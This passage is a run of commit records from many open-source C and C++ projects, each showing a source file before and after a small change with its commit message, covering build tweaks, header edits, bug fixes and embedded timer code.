		tmpres /= 10; /*convert into microseconds*/
		/*converting file time to unix epoch*/
		tmpres -= DELTA_EPOCH_IN_MICROSECS;
		tv->tv_sec = (long)(tmpres / 1000000UL);
		tv->tv_usec = (long)(tmpres % 1000000UL);
	}

	return 0;
}

#else

void fz_gettimeofday_dummy() { }

#endif

Tweak to allow building on metro.

Tweak to allow building on metro.

Limited testing seems to suggest that the only thing stopping the MuPDF
library building on metro seems to be the use of winsock.h.


#ifndef CRITMEM_H
#define CRITMEM_H

#include <sys/types.h>

/*@only@*//*@out@*//*@notnull@*/ void *mycritmalloc(const char *f, long, size_t size,
					const char *message);
/*@only@*//*@notnull@*/ void *mycritcalloc(const char *f, long, size_t size,
			      const char *message);
/*@only@*//*@out@*//*@notnull@*/ void *mycritrealloc(const char *f, long,
/*@null@*//*@only@*//*@out@*//*@returned@*/
						       void *a, size_t size,
						       const char *message);
/*@only@*/ char *mycritstrdup(const char *f, long, const char *,
			      const char *message);
#define critmalloc(a,b) mycritmalloc(__FILE__,(long)__LINE__,a,b)
#define critcalloc(a,b) mycritcalloc(__FILE__,(long)__LINE__,a,b)
#define critrealloc(a,b,c) mycritrealloc(__FILE__,(long)__LINE__,a,b,c)
#define critstrdup(a,b) mycritstrdup(__FILE__,(long)__LINE__,a,b)

#endif

#ifndef CRITMEM_H
#define CRITMEM_H

#include "config.h"
#include <sys/types.h>

/*@only@*//*@out@*//*@notnull@*/ void *mycritmalloc(const char *f, long, size_t size,
					const char *message);
/*@only@*//*@notnull@*/ void *mycritcalloc(const char *f, long, size_t size,
			      const char *message);
/*@only@*//*@out@*//*@notnull@*/ void *mycritrealloc(const char *f, long,
/*@null@*//*@only@*//*@out@*//*@returned@*/
						       void *a, size_t size,
						       const char *message);
/*@only@*/ char *mycritstrdup(const char *f, long, const char *,
			      const char *message);
#define critmalloc(a,b) mycritmalloc(__FILE__,(long)__LINE__,a,b)
#define critcalloc(a,b) mycritcalloc(__FILE__,(long)__LINE__,a,b)
#define critrealloc(a,b,c) mycritrealloc(__FILE__,(long)__LINE__,a,b,c)
#define critstrdup(a,b) mycritstrdup(__FILE__,(long)__LINE__,a,b)

#endif

Include config.h, patch by Ralf Wildenhues.


// RUN: %clang -target arm-none-gnueabi -mrestrict-it -### %s 2> %t
// RUN: FileCheck --check-prefix=CHECK-RESTRICTED < %t %s

// RUN: %clang -target armv8a-none-gnueabi -mrestrict-it -### %s 2> %t
// RUN: FileCheck --check-prefix=CHECK-RESTRICTED < %t %s

// CHECK-RESTRICTED: "-backend-option" "-arm-restrict-it"

// RUN: %clang -target arm-none-gnueabi -mno-restrict-it -### %s 2> %t
// RUN: FileCheck --check-prefix=CHECK-NO-RESTRICTED < %t %s

// RUN: %clang -target armv8a-none-gnueabi -mno-restrict-it -### %s 2> %t
// RUN: FileCheck --check-prefix=CHECK-NO-RESTRICTED < %t %s

// CHECK-NO-RESTRICTED: "-backend-option" "-arm-no-restrict-it"

Add test case for r194593

Add test case for r194593

git-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@194606 91177308-0d34-0410-b5e6-96231b3b80d8


/*
 *  Copyright (c) 2015, Facebook, Inc.
 *  All rights reserved.
 *
 *  This source code is licensed under the BSD-style license found in the
 *  LICENSE file in the root directory of this source tree. An additional grant
 *  of patent rights can be found in the PATENTS file in the same directory.
 *
 */
#pragma once

#include <folly/experimental/fibers/ExecutionObserver.h>

#include "mcrouter/lib/cycles/Cycles.h"

namespace facebook { namespace memcache { namespace mcrouter {

class CyclesObserver : public folly::fibers::ExecutionObserver {
 public:
  void starting() noexcept override {
    if (!cycles::start()) {
      // Should never happen
      DCHECK(false) << "There is already one cycles interval "
                       "active in this thread";
    }
  }
  void stopped() noexcept override {
    cycles::finish();
  }
};

}}} // facebook::memcache::mcrouter

/*
 *  Copyright (c) 2015, Facebook, Inc.
 *  All rights reserved.
 *
 *  This source code is licensed under the BSD-style license found in the
 *  LICENSE file in the root directory of this source tree. An additional grant
 *  of patent rights can be found in the PATENTS file in the same directory.
 *
 */
#pragma once

#include <folly/experimental/fibers/ExecutionObserver.h>

#include "mcrouter/lib/cycles/Cycles.h"

namespace facebook { namespace memcache { namespace mcrouter {

class CyclesObserver : public folly::fibers::ExecutionObserver {
 public:
  void starting(uintptr_t id) noexcept override {
    if (!cycles::start()) {
      // Should never happen
      DCHECK(false) << "There is already one cycles interval "
                       "active in this thread";
    }
  }
  void runnable(uintptr_t id) noexcept override {}
  void stopped(uintptr_t id) noexcept override {
    cycles::finish();
  }
};

}}} // facebook::memcache::mcrouter

Add 'runnable' callback to ExecutionObserver

Summary: Add a callback when a fiber becomes runnable

Test Plan: unit tests

Reviewed By: @andriigrynenko

Differential Revision: D2081306


// gcc -mpreferred-stack-boundary=2 -ggdb syscall_inline.c -o syscall_inline
// syscall.s in inline asm: print to stdout and exit from inline assembler
#include <stdio.h>

void f() {
  char* str = "hi\n";

  __asm__(
    // write str (first local variable, at %ebp-4)
    "movl $4, %eax \n\t"
    "movl $1, %ebx \n\t"
    "movl -4(%ebp), %ecx \n\t"
    "movl $3, %edx \n\t"
    "int $0x80 \n\t"

    // exit 0
    "movl $1, %eax; \n\t"
    "movl $0, %ebx; \n\t"
    "int $0x80; \n\t"
  );
}

int main(void) {
  f();

  // never called because exit
  printf("skipped\n");

  return 0;
}

Make syscalls from C/inline assembler

Make syscalls from C/inline assembler


/* USB commands use the first byte as the 'type' variable.
 * Subsequent bytes are generally the 'arguments'.
 * So host->device usb packets usually look like:
 * [command, arg1, arg2, 0, 0, ... , 0, 0]
 * to which the device will respond with
 * [CMD_ACK, command, 0, 0, 0 ..., 0, 0]
 *
 * The exception to this, are the commands which 'GET'
 * For them host->device generally looks like:
 * [command, 0, ..., 0, 0]
 * to which the device responds
 * [CMD_RESP, command, arg1, arg2, 0, ..., 0, 0]
 * */

#ifndef USB_COMMANDS_H
#define USB_COMMANDS_H

#define CMD_ACK          0xAF
#define CMD_RESP         0xBF

#define CMD_BL_ON        0x10
#define CMD_BL_OFF       0x11
#define CMD_BL_LEVEL     0x12
#define CMD_BL_UP        0x13
#define CMD_BL_DOWN      0x14
#define CMD_BL_GET_STATE 0x1F

#define CMD_RGB_SET      0x20
#define CMD_RGB_GET      0x2F

#endif

/* USB commands use the first byte as the 'type' variable.
 * Subsequent bytes are generally the 'arguments'.
 * So host->device usb packets usually look like:
 * [command, arg1, arg2, 0, 0, ... , 0, 0]
 * to which the device will respond with
 * [CMD_ACK, command, 0, 0, 0 ..., 0, 0]
 *
 * The exception to this, are the commands which 'GET'
 * For them host->device generally looks like:
 * [command, 0, ..., 0, 0]
 * to which the device responds
 * [CMD_RESP, command, arg1, arg2, 0, ..., 0, 0]
 * */

#ifndef USB_COMMANDS_H
#define USB_COMMANDS_H

#define CMD_ACK          0xAF
#define CMD_RESP         0xBF

#define CMD_BL_ON        0x10
#define CMD_BL_OFF       0x11
#define CMD_BL_LEVEL     0x12
#define CMD_BL_UP        0x13
#define CMD_BL_DOWN      0x14
#define CMD_BL_GET_STATE 0x1F

#define CMD_RGB_SET      0x20
#define CMD_RGB_GET      0x2F

#define IS_GET(x) (x == CMD_RGB_GET || x == CMD_BL_GET_STATE)

#endif

Add a macro to determine whether a GET command


//
//  NSUserDefaults+RACSupport.h
//  ReactiveCocoa
//
//  Created by Matt Diephouse on 12/19/13.
//  Copyright (c) 2013 GitHub, Inc. All rights reserved.
//

#import <Foundation/Foundation.h>

@class RACChannelTerminal;

@interface NSUserDefaults (RACSupport)

// Creates and returns a terminal for binding the user defaults key.
//
// key - The user defaults key to create the channel terminal for.
//
// This makes it easy to bind a property to a default by assigning to
// `RACChannelTo`.
//
// The terminal will send the value of the user defaults key upon subscription.
//
// Returns a channel terminal.
- (RACChannelTerminal *)rac_channelTerminalForKey:(NSString *)key;

@end

//
//  NSUserDefaults+RACSupport.h
//  ReactiveCocoa
//
//  Created by Matt Diephouse on 12/19/13.
//  Copyright (c) 2013 GitHub, Inc. All rights reserved.
//

#import <Foundation/Foundation.h>

@class RACChannelTerminal;

@interface NSUserDefaults (RACSupport)

/// Creates and returns a terminal for binding the user defaults key.
///
/// key - The user defaults key to create the channel terminal for.
///
/// This makes it easy to bind a property to a default by assigning to
/// `RACChannelTo`.
///
/// The terminal will send the value of the user defaults key upon subscription.
///
/// Returns a channel terminal.
- (RACChannelTerminal *)rac_channelTerminalForKey:(NSString *)key;

@end

Add a third slash for Xcode

Add a third slash for Xcode


#include "pebble_os.h"
#include "pebble_app.h"
#include "pebble_fonts.h"

#define MY_UUID { 0xE3, 0x7B, 0xFC, 0xE9, 0x30, 0xD7, 0x4B, 0xC3, 0x96, 0x93, 0x15, 0x0C, 0x35, 0xDC, 0xB8, 0x58 }
PBL_APP_INFO(MY_UUID,
             "Template App", "Your Company",
             1, 0, /* App version */
             DEFAULT_MENU_ICON,
             APP_INFO_STANDARD_APP);

Window window;

void handle_init(AppContextRef ctx) {

  window_init(&window, "Window Name");
  window_stack_push(&window, true /* Animated */);
}

void pbl_main(void *params) {
  PebbleAppHandlers handlers = {
    .init_handler = &handle_init
  };
  app_event_loop(params, &handlers);
}

#include "pebble_os.h"
#include "pebble_app.h"
#include "pebble_fonts.h"

#define MY_UUID { 0xE3, 0x7B, 0xFC, 0xE9, 0x30, 0xD7, 0x4B, 0xC3, 0x96, 0x93, 0x15, 0x0C, 0x35, 0xDC, 0xB8, 0x58 }
PBL_APP_INFO(MY_UUID,
             "Puddle", "Jon Speicher",
             0, 1, /* App version */
             DEFAULT_MENU_ICON,
             APP_INFO_STANDARD_APP);

Window window;

void handle_init(AppContextRef ctx) {

  window_init(&window, "Puddle Main");
  window_stack_push(&window, true /* Animated */);
}

void pbl_main(void *params) {
  PebbleAppHandlers handlers = {
    .init_handler = &handle_init
  };
  app_event_loop(params, &handlers);
}

Change framework app name, comopany, version, and window debug


// Copyright (c) 2012-2013, the scalloc Project Authors.  All rights reserved.
// Please see the AUTHORS file for details.  Use of this source code is governed
// by a BSD license that can be found in the LICENSE file.

#ifndef SCALLOC_COMMON_H_
#define SCALLOC_COMMON_H_

#define UNLIKELY(x)   __builtin_expect((x), 0)
#define LIKELY(x)     __builtin_expect((x), 1)

#define cache_aligned __attribute__((aligned(64)))

#define always_inline inline __attribute__((always_inline))
#define no_inline __attribute__((noinline))

always_inline size_t PadSize(size_t size, size_t multiple) {
  return (size + multiple - 1) / multiple * multiple;
}

#endif  // SCALLOC_COMMON_H_

// Copyright (c) 2012-2013, the scalloc Project Authors.  All rights reserved.
// Please see the AUTHORS file for details.  Use of this source code is governed
// by a BSD license that can be found in the LICENSE file.

#ifndef SCALLOC_COMMON_H_
#define SCALLOC_COMMON_H_

#define UNLIKELY(x)   __builtin_expect((x), 0)
#define LIKELY(x)     __builtin_expect((x), 1)

#define cache_aligned __attribute__((aligned(64)))

#define always_inline inline __attribute__((always_inline))
#define no_inline __attribute__((noinline))

const size_t kSystemPageSize = 4096;

always_inline size_t PadSize(size_t size, size_t multiple) {
  return (size + multiple - 1) / multiple * multiple;
}

#endif  // SCALLOC_COMMON_H_

Add system page size constant.

Add system page size constant.

Signed-off-by: Michael Lippautz <0d543840881a2c189b4f7636b15eebd6a8f60ace@gmail.com>


/*
 * Copyright 2017 Google Inc.
 *
 * Use of this source code is governed by a BSD-style license that can be
 * found in the LICENSE file.
 */

#ifndef SkUserConfigManual_DEFINED
#define SkUserConfigManual_DEFINED
  #define GR_TEST_UTILS 1
  #define SK_BUILD_FOR_ANDROID_FRAMEWORK
  #define SK_DEFAULT_FONT_CACHE_LIMIT   (768 * 1024)
  #define SK_DEFAULT_GLOBAL_DISCARDABLE_MEMORY_POOL_SIZE (512 * 1024)
  #define SK_USE_FREETYPE_EMBOLDEN

  // Disable these Ganesh features
  #define SK_DISABLE_REDUCE_OPLIST_SPLITTING
  // Check error is expensive. HWUI historically also doesn't check its allocations
  #define GR_GL_CHECK_ALLOC_WITH_GET_ERROR 0

  // Legacy flags
  #define SK_SUPPORT_DEPRECATED_CLIPOPS

  // Staging flags
  #define SK_LEGACY_PATH_ARCTO_ENDPOINT

  // Needed until we fix https://bug.skia.org/2440
  #define SK_SUPPORT_LEGACY_CLIPTOLAYERFLAG
  #define SK_SUPPORT_LEGACY_EMBOSSMASKFILTER
  #define SK_SUPPORT_LEGACY_AA_CHOICE
  #define SK_SUPPORT_LEGACY_AAA_CHOICE

  #define SK_DISABLE_DAA  // skbug.com/6886

#endif // SkUserConfigManual_DEFINED

/*
 * Copyright 2017 Google Inc.
 *
 * Use of this source code is governed by a BSD-style license that can be
 * found in the LICENSE file.
 */

#ifndef SkUserConfigManual_DEFINED
#define SkUserConfigManual_DEFINED
  #define GR_TEST_UTILS 1
  #define SK_BUILD_FOR_ANDROID_FRAMEWORK
  #define SK_DEFAULT_FONT_CACHE_LIMIT   (768 * 1024)
  #define SK_DEFAULT_GLOBAL_DISCARDABLE_MEMORY_POOL_SIZE (512 * 1024)
  #define SK_USE_FREETYPE_EMBOLDEN

  // Disable these Ganesh features
  #define SK_DISABLE_REDUCE_OPLIST_SPLITTING
  // Check error is expensive. HWUI historically also doesn't check its allocations
  #define GR_GL_CHECK_ALLOC_WITH_GET_ERROR 0

  // Legacy flags
  #define SK_SUPPORT_DEPRECATED_CLIPOPS

  // Staging flags
  #define SK_LEGACY_PATH_ARCTO_ENDPOINT
  #define SK_SUPPORT_STROKEANDFILL

  // Needed until we fix https://bug.skia.org/2440
  #define SK_SUPPORT_LEGACY_CLIPTOLAYERFLAG
  #define SK_SUPPORT_LEGACY_EMBOSSMASKFILTER
  #define SK_SUPPORT_LEGACY_AA_CHOICE
  #define SK_SUPPORT_LEGACY_AAA_CHOICE

  #define SK_DISABLE_DAA  // skbug.com/6886

#endif // SkUserConfigManual_DEFINED

Add flag to stage API change

Add flag to stage API change

Test: make

Bug: 178700363
Change-Id: I15d678d3896efb896d1b87f11f32df7787a53577


/*
 * Copyright (c) 2013, Court of the University of Glasgow
 * All rights reserved.

 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions are met:

 * - Redistributions of source code must retain the above copyright notice,
 *   this list of conditions and the following disclaimer.
 *
 * - Redistributions in binary form must reproduce the above copyright notice,
 *   this list of conditions and the following disclaimer in the documentation
 *   and/or other materials provided with the distribution.
 *
 * - Neither the name of the University of Glasgow nor the names of its
 *   contributors may be used to endorse or promote products derived from this
 *   software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
 * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
 * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE
 * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
 * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
 * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
 * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
 * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 */

/* dsemem.h
 *
 * routines for managing a free list of DataStackEntry structs
 *
 */
#ifndef _DSEMEM_H_
#define _DSEMEM_H_

#include "dataStackEntry.h"

DataStackEntry *dse_alloc(void);
void           dse_free(DataStackEntry *dse);

#endif /* _DSEMEM_H_ */

Add BSD 3-clause open source header

Add BSD 3-clause open source header


#include <primitives/sw/settings_program_name.h>

#if defined(SW_EXECUTABLE)
EXPORT_FROM_EXECUTABLE
std::string getProgramName()
{
    // this will trigger build error if executable forget to set
    // PackageDefinitions = true;
#ifndef PACKAGE_NAME_CLEAN
#error "Set '.PackageDefinitions = true;' on your target."
#endif
    return PACKAGE_NAME_CLEAN;
}

// use gitrev instead?
EXPORT_FROM_EXECUTABLE
std::string getVersionString()
{
    std::string s;
    s += ::sw::getProgramName();
    s += " version ";
    s += PACKAGE_VERSION;
    s += "\n";
    s += "assembled " __DATE__ " " __TIME__;
    return s;
}
#endif

#include <primitives/sw/settings_program_name.h>

#if defined(SW_EXECUTABLE) && !defined(SW_CUSTOM_PROGRAM_NAME)
EXPORT_FROM_EXECUTABLE
std::string getProgramName()
{
    // this will trigger build error if executable forget to set
    // PackageDefinitions = true;
#ifndef PACKAGE_NAME_CLEAN
#error "Set '.PackageDefinitions = true;' on your target."
#endif
    return PACKAGE_NAME_CLEAN;
}

// use gitrev instead?
EXPORT_FROM_EXECUTABLE
std::string getVersionString()
{
    std::string s;
    s += ::sw::getProgramName();
    s += " version ";
    s += PACKAGE_VERSION;
    s += "\n";
    s += "assembled " __DATE__ " " __TIME__;
    return s;
}
#endif

Allow to define custom program name.

[sw.settings] Allow to define custom program name.


#pragma once

#include <fstream>
#include <string>
#include <vector>

#include "3rd_party/exception.h"
#include "common/definitions.h"
#include "common/utils.h"
#include "data/vocab.h"
#include "data/types.h"
#include "layers/param_initializers.h"

namespace marian {

class EmbeddingReader {
public:
  EmbeddingReader() {}

  std::vector<float> read(const std::string& fileName,
                          int dimVoc,
                          int dimEmb) {
    std::ifstream embFile(fileName);
    UTIL_THROW_IF2(!embFile.is_open(),
                   "Unable to open file with embeddings: " + fileName);
    std::string line;

    // Read the first line with two values: a number of words in the vocabulary
    // and the length of embedding vector
    std::getline(embFile, line);
    std::vector<std::string> values;
    Split(line, values);
    UTIL_THROW_IF2(values.size() != 2,
                   "Unexpected format of the first line in file with embeddings");
    UTIL_THROW_IF2(stoi(values[1]) != dimEmb,
                   "Unexpected length of embedding vectors");

    // Read embedding vectors of words present in the vocabulary
    std::unordered_map<Word, std::vector<float>> word2vec;
    while(std::getline(embFile, line)) {
      values.clear();
      Split(line, values);

      Word word = std::stoi(values.front());

      // Skip unknown words, but not <unk> word
      if(word == UNK_ID && values.front() != UNK_STR)
        continue;

      std::transform(values.begin() + 1,
                     values.end(),
                     word2vec[word].begin(),
                     [](const std::string& s) { return std::stof(s); });
    }

    std::vector<float> embs;
    embs.reserve(dimVoc * dimEmb);

    // Populate output vector with embedding
    for(size_t word = 0; word < (size_t)dimVoc; ++word) {
      auto pos = embs.begin() + (word * dimEmb);

      if(word2vec.find(word) != word2vec.end()) {
        embs.insert(pos, word2vec[word].begin(), word2vec[word].end());
      } else {
        // For words not occuring in the file use uniform distribution
        std::vector<float> values;
        values.reserve(dimEmb);
        // @TODO: consider generating values once for all missing words and
        // then use the generated numbers to bucket into embedding vectors
        inits::distribution<std::uniform_real_distribution<float>>(
            values, -0.1, 0.1);
        embs.insert(pos, values.begin(), values.end());
      }
    }

    return embs;
  }
};

}  // namespace marian

Add reader for embedding vectors from word2vec


//******************************************************************
//
// Copyright 2015 Samsung Electronics All Rights Reserved.
//
//-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
//      http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//
//-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

#ifndef __PRIMITIVERESOURCE_ASSERTUTILS_H
#define __PRIMITIVERESOURCE_ASSERTUTILS_H

#include <cstdint>
#include <octypes.h>

#include <PrimitiveException.h>

namespace OIC
{
    namespace Service
    {

        inline void expectOCStackResult(OCStackResult actual, OCStackResult expected)
        {
            if (actual != expected)
            {
                throw PlatformException(actual);
            }
        }

        inline void expectOCStackResultOK(OCStackResult actual)
        {
            expectOCStackResult(actual, OC_STACK_OK);
        }

    }
}

#endif // __PRIMITIVERESOURCE_ASSERTUTILS_H

Add assertion util to handle OCStackResult code with exception

Change-Id: I574da5d88abef73bf89c800bdf2a1bc10460d1e4
Signed-off-by: coderhyme <528f34a2692ffbaf2ac758012cd3e3a426bd89e5@samsung.com>
Reviewed-on: https://gerrit.iotivity.org/gerrit/1249
Tested-by: jenkins-iotivity <09cb29e8a2b473a2c978382eec13ee06fa017bda@opendaylight.org>
Reviewed-by: Uze Choi <3a26c91d8a4a3c9e246e43339f4782bb2483aece@samsung.com>


//
// mysociety_config.cpp:
// Read the terrible mySociety PHP format config files, as similar code for
// other languages.
//
// Copyright (c) 2010 UK Citizens Online Democracy. All rights reserved.
// Email: francis@mysociety.org; WWW: http://www.mysociety.org/
//
// $Id: mysociety_error.h,v 1.4 2009-09-24 22:00:29 francis Exp $
//

#include "error.h"

#include <iostream>
#include <fstream>

void mysociety_read_conf(const std::string& mysociety_conf_file) {
    setenv("MYSOCIETY_CONFIG_FILE_PATH", mysociety_conf_file.c_str(), 1);

    std::string tmp_php_script = (boost::format("/tmp/c-php-mysociety-conf-%d") % getpid()).str();
    {
        std::ofstream out(tmp_php_script.c_str(), std::ios::out);
        out <<
            "#!/usr/bin/php\n"
            "<?php\n"
            "$b = get_defined_constants();\n"
            "require(getenv(\"MYSOCIETY_CONFIG_FILE_PATH\"));\n"
            "$a = array_diff_assoc(get_defined_constants(), $b);\n"
            "foreach ($a as $k => $v) {\n"
            "    print \"$k=$v\\n\";\n"
            "}\n"
            "?>\n";
    }
    chmod(tmp_php_script.c_str(), 0555);

    FILE * f = popen(tmp_php_script.c_str(), "r");
    if (f == 0) {
        throw Exception("Couldn't open temporary mySociety conf PHP script");
    }
    const int BUFSIZE = 2048;
    char buf[BUFSIZE];
    while(fgets(buf, BUFSIZE,  f)) {
        std::string line = std::string(buf);
        std::string::size_type found = line.find_first_of("=");
        if (found == std::string::npos) {
            throw Exception("config output had line without = in it");
        }
        std::string key = line.substr(0, found);
        std::string value = line.substr(found + 1, line.size() - found - 2);
        debug_log(boost::format("mySociety config loaded: %s %s") % key % value);

        setenv(key.c_str(), value.c_str(), 1);
    }

    pclose(f);
}

Include dependencies, remove excess debugging.


/*
 * main.c
 *
 *  Created on: 2 Nov 2016
 *      Author: rafpe
 */
#include "stm32f4xx.h"
#include "stm32f407xx.h"

int main(void)
{
	volatile uint32_t delay;

	RCC->AHB1ENR |= RCC_AHB1ENR_GPIODEN | RCC_AHB1ENR_GPIOCEN | RCC_AHB1ENR_GPIOEEN | RCC_AHB1ENR_GPIOAEN;	// enable the clock for GPIOs
	RCC->APB2ENR |= RCC_APB2ENR_SYSCFGEN | RCC_APB2ENR_TIM1EN;							// enable SYSCFG for external interrupts & TIM1

	__DSB();																			// Data Synchronization Barrier

	GPIOD->MODER = (1 << 26); 				// PIND to output mode
    GPIOE->MODER = GPIO_MODER_MODER1_0;		// PE1 - output

	/*
	 * We start off with setting this is AF. Once done we map it to AF.
	 * PA8 to be used as alternate function TIM1_CH1
	 *
	 * AF details you always find in datasheet
	 * AF mapping you will find in RM
	 */
	GPIOA->MODER |= GPIO_MODER_MODER8_1; 	// PA8 - AF
	GPIOA->AFR[1] = ( (GPIOA->AFR[1] && 0xFFFFFFF0 ) | 0x1);

	TIM1->CCMR1  = TIM_CCMR1_CC1S_0;													// CC1 channel is configured as output
	TIM1->CCER 	 = TIM_CCER_CC1P |
			       TIM_CCER_CC1NP;														// Set up rising edge polarity

	TIM1->SMCR 	 = TIM_SMCR_TS_0 | TIM_SMCR_TS_2 |										// Filtered Timer Input 1 (TI1FP1)
				   TIM_SMCR_SMS;														// External Clock Mode 1

	TIM1->ARR 	= 10;						// How many values we will count
	TIM1->DIER 	= TIM_DIER_UIE;				// Update Event Interrupt
	TIM1->CR1	= TIM_CR1_CEN;				// Enable & Start timer

	NVIC_EnableIRQ(TIM1_UP_TIM10_IRQn);		// Set up interrupt handler

	SysTick_Config(1600000);

	while (1)
	{

	} /* while */

} /* main */

void TIM1_UP_TIM10_IRQHandler(void)
{
	if (TIM1->SR & TIM_SR_UIF)
	{
		GPIOD->ODR ^= (1 << 13);	// Blink
		TIM1->SR = ~TIM_SR_UIF;		// clear flag - rc_w0 => Read Clear Write 0
	}
}

void SysTick_Handler(void)
{
	GPIOE->ODR ^= (1 << 1);		// PE1 - flapp
}

Add timer with external clock count

Add timer with external clock count


#ifdef __sun__
#include <pthread.h>
#include <stdlib.h>

static struct atexit_handler {
  void (*f)(void *);
  void *p;
  void *d;
  struct atexit_handler *next;
} *head;

static pthread_mutex_t lock = PTHREAD_MUTEX_INITIALIZER;

int __cxa_atexit( void (*f)(void *), void *p, void *d) {
  pthread_mutex_lock(&lock);
  struct atexit_handler *h = malloc(sizeof(*d));
  if (!h) {
    pthread_mutex_unlock(&lock);
    return 1;
  }
  h->f = f;
  h->p = p;
  h->d = d;
  h->next = head;
  head = h;
  pthread_mutex_unlock(&lock);
  return 0;
}

void __cxa_finalize(void *d ) {
  pthread_mutex_lock(&lock);
  struct atexit_handler **last = &head;
  for (struct atexit_handler *h = head ; h ; h = h->next) {
    if ((h->d == d) || (d == 0)) {
      *last = h->next;
      h->f(h->p);
      free(h);
    } else {
      last = &head->next;
    }
  }
  pthread_mutex_unlock(&lock);
}
#endif

#ifdef __sun__
#include <pthread.h>
#include <stdlib.h>

static struct atexit_handler {
  void (*f)(void *);
  void *p;
  void *d;
  struct atexit_handler *next;
} *head;

static pthread_mutex_t lock = PTHREAD_MUTEX_INITIALIZER;

int __cxa_atexit( void (*f)(void *), void *p, void *d) {
  pthread_mutex_lock(&lock);
  struct atexit_handler *h = malloc(sizeof(*h));
  if (!h) {
    pthread_mutex_unlock(&lock);
    return 1;
  }
  h->f = f;
  h->p = p;
  h->d = d;
  h->next = head;
  head = h;
  pthread_mutex_unlock(&lock);
  return 0;
}

void __cxa_finalize(void *d ) {
  pthread_mutex_lock(&lock);
  struct atexit_handler **last = &head;
  for (struct atexit_handler *h = head ; h ; h = h->next) {
    if ((h->d == d) || (d == 0)) {
      *last = h->next;
      h->f(h->p);
      free(h);
    } else {
      last = &h->next;
    }
  }
  pthread_mutex_unlock(&lock);
}
#endif

Fix bugs caused by writing code while half asleep.


// Copyright (c) 2009-2010 Satoshi Nakamoto
// Copyright (c) 2009-2015 The Bitcoin Core developers
// Copyright (c) 2014-2017 The Dash Core developers
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.

#ifndef BITCOIN_VALIDATION_H
#define BITCOIN_VALIDATION_H

#include <stdint.h>
#include <string>

static const int64_t DEFAULT_MAX_TIP_AGE = 120; // ~45 blocks behind -> 2 x fork detection time, was 24 * 60 * 60 in bitcoin

extern int64_t nMaxTipAge;

class CBlockIndex;

FILE* OpenBlockFile(unsigned int nFile, unsigned int nBlockPos, const char* pszMode="rb");
FILE* AppendBlockFile(unsigned int& nFileRet);

bool IsInitialBlockDownload();

/** Guess verification progress (as a fraction between 0.0=genesis and 1.0=current tip). */
double GuessVerificationProgress(CBlockIndex* pindex);

#endif // BITCOIN_VALIDATION_H

// Copyright (c) 2009-2010 Satoshi Nakamoto
// Copyright (c) 2009-2015 The Bitcoin Core developers
// Copyright (c) 2014-2017 The Dash Core developers
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.

#ifndef BITCOIN_VALIDATION_H
#define BITCOIN_VALIDATION_H

#include <stdint.h>
#include <string>

static const int64_t DEFAULT_MAX_TIP_AGE = 1 * 60 * 60; // ~45 blocks behind -> 2 x fork detection time, was 24 * 60 * 60 in bitcoin

extern int64_t nMaxTipAge;

class CBlockIndex;

FILE* OpenBlockFile(unsigned int nFile, unsigned int nBlockPos, const char* pszMode="rb");
FILE* AppendBlockFile(unsigned int& nFileRet);

bool IsInitialBlockDownload();

/** Guess verification progress (as a fraction between 0.0=genesis and 1.0=current tip). */
double GuessVerificationProgress(CBlockIndex* pindex);

#endif // BITCOIN_VALIDATION_H

Put back default max tip age

Put back default max tip age


//-----------------------------------------------------------------------------
// Copyright (c) 2012 GarageGames, LLC
//
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to
// deal in the Software without restriction, including without limitation the
// rights to use, copy, modify, merge, publish, distribute, sublicense, and/or
// sell copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included in
// all copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
// FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
// IN THE SOFTWARE.
//-----------------------------------------------------------------------------

#ifndef T_GL_H
#define T_GL_H
#include "GL/glew.h"

#define gglHasExtension(EXTENSION) GLEW_##EXTENSION

#endif

//-----------------------------------------------------------------------------
// Copyright (c) 2012 GarageGames, LLC
//
// Permission is hereby granted, free of charge, to any person obtaining a copy
